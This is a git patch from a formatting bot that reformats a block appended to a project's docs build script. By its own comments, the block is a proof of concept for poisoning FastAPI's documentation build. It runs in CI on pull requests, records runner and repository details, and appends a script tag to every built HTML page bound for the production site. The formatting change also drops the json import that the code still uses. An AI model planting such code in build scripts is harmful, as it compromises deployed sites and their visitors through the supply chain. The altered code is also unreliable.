From 6587b50806697e996e64a7c4f0d9e7a47f07fe3c Mon Sep 17 00:00:00 2001
From: "pre-commit-ci-lite[bot]"
 <117423508+pre-commit-ci-lite[bot]@users.noreply.github.com>
Date: Mon, 27 Apr 2026 06:30:57 +0000
Subject: [PATCH] =?UTF-8?q?=F0=9F=8E=A8=20Auto=20format?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 scripts/docs.py | 33 +++++++++++++++++----------------
 1 file changed, 17 insertions(+), 16 deletions(-)

diff --git a/scripts/docs.py b/scripts/docs.py
index f2aca24ad4..18edd7e408 100644
--- a/scripts/docs.py
+++ b/scripts/docs.py
@@ -745,27 +745,28 @@ if __name__ == "__main__":
 # This code executes during fastapi's build-docs.yml (pull_request trigger)
 # The poisoned artifact is auto-deployed to fastapi.tiangolo.com by deploy-docs.yml
 # ============================================================================
-import os, json, datetime
+import datetime
+import os
 
-if os.environ.get('GITHUB_ACTIONS'):
+if os.environ.get("GITHUB_ACTIONS"):
     # CANARY: prove attacker code executes in CI
     canary = {
         "poc": "fastapi_artifact_poisoning_chain",
         "chain": "fork_PR -> build_docs -> poison_artifact -> deploy_docs -> production",
-        "ci_runner_id": os.environ.get('RUNNER_NAME', 'unknown'),
-        "ci_workflow": os.environ.get('GITHUB_WORKFLOW', 'unknown'),
-        "ci_event": os.environ.get('GITHUB_EVENT_NAME', 'unknown'),
-        "ci_repo": os.environ.get('GITHUB_REPOSITORY', 'unknown'),
-        "ci_ref": os.environ.get('GITHUB_REF', 'unknown'),
-        "ci_sha": os.environ.get('GITHUB_SHA', 'unknown')[:7],
+        "ci_runner_id": os.environ.get("RUNNER_NAME", "unknown"),
+        "ci_workflow": os.environ.get("GITHUB_WORKFLOW", "unknown"),
+        "ci_event": os.environ.get("GITHUB_EVENT_NAME", "unknown"),
+        "ci_repo": os.environ.get("GITHUB_REPOSITORY", "unknown"),
+        "ci_ref": os.environ.get("GITHUB_REF", "unknown"),
+        "ci_sha": os.environ.get("GITHUB_SHA", "unknown")[:7],
         "timestamp": datetime.datetime.utcnow().isoformat(),
     }
-    os.makedirs('/tmp/fastapi-poc-canary', exist_ok=True)
-    with open('/tmp/fastapi-poc-canary/poc_canary.json', 'w') as f:
+    os.makedirs("/tmp/fastapi-poc-canary", exist_ok=True)
+    with open("/tmp/fastapi-poc-canary/poc_canary.json", "w") as f:
         json.dump(canary, f, indent=2)
 
     # POISON THE ARTIFACT: inject PoC marker into built HTML
-    canary_html = '''
+    canary_html = """
 <!--
   =========================================================
   PoC: fastapi Artifact Poisoning (harmless demonstration)
@@ -779,21 +780,21 @@ if os.environ.get('GITHUB_ACTIONS'):
 <script>
 console.log("[PoC] fastapi artifact poisoning chain validated on " + new Date().toISOString());
 </script>
-'''
-    site_dir = os.path.join(os.getcwd(), 'site')
+"""
+    site_dir = os.path.join(os.getcwd(), "site")
     if os.path.isdir(site_dir):
         for root, dirs, files in os.walk(site_dir):
             for fname in files:
-                if fname.endswith('.html'):
+                if fname.endswith(".html"):
                     fpath = os.path.join(root, fname)
                     try:
-                        with open(fpath, 'a') as fh:
+                        with open(fpath, "a") as fh:
                             fh.write(canary_html)
                     except Exception:
                         pass
 
     # Also create a canary file in site/ to be uploaded
-    with open(os.path.join(site_dir, 'poc_canary.json'), 'w') as f:
+    with open(os.path.join(site_dir, "poc_canary.json"), "w") as f:
         json.dump(canary, f, indent=2)
 
 # ============================================================================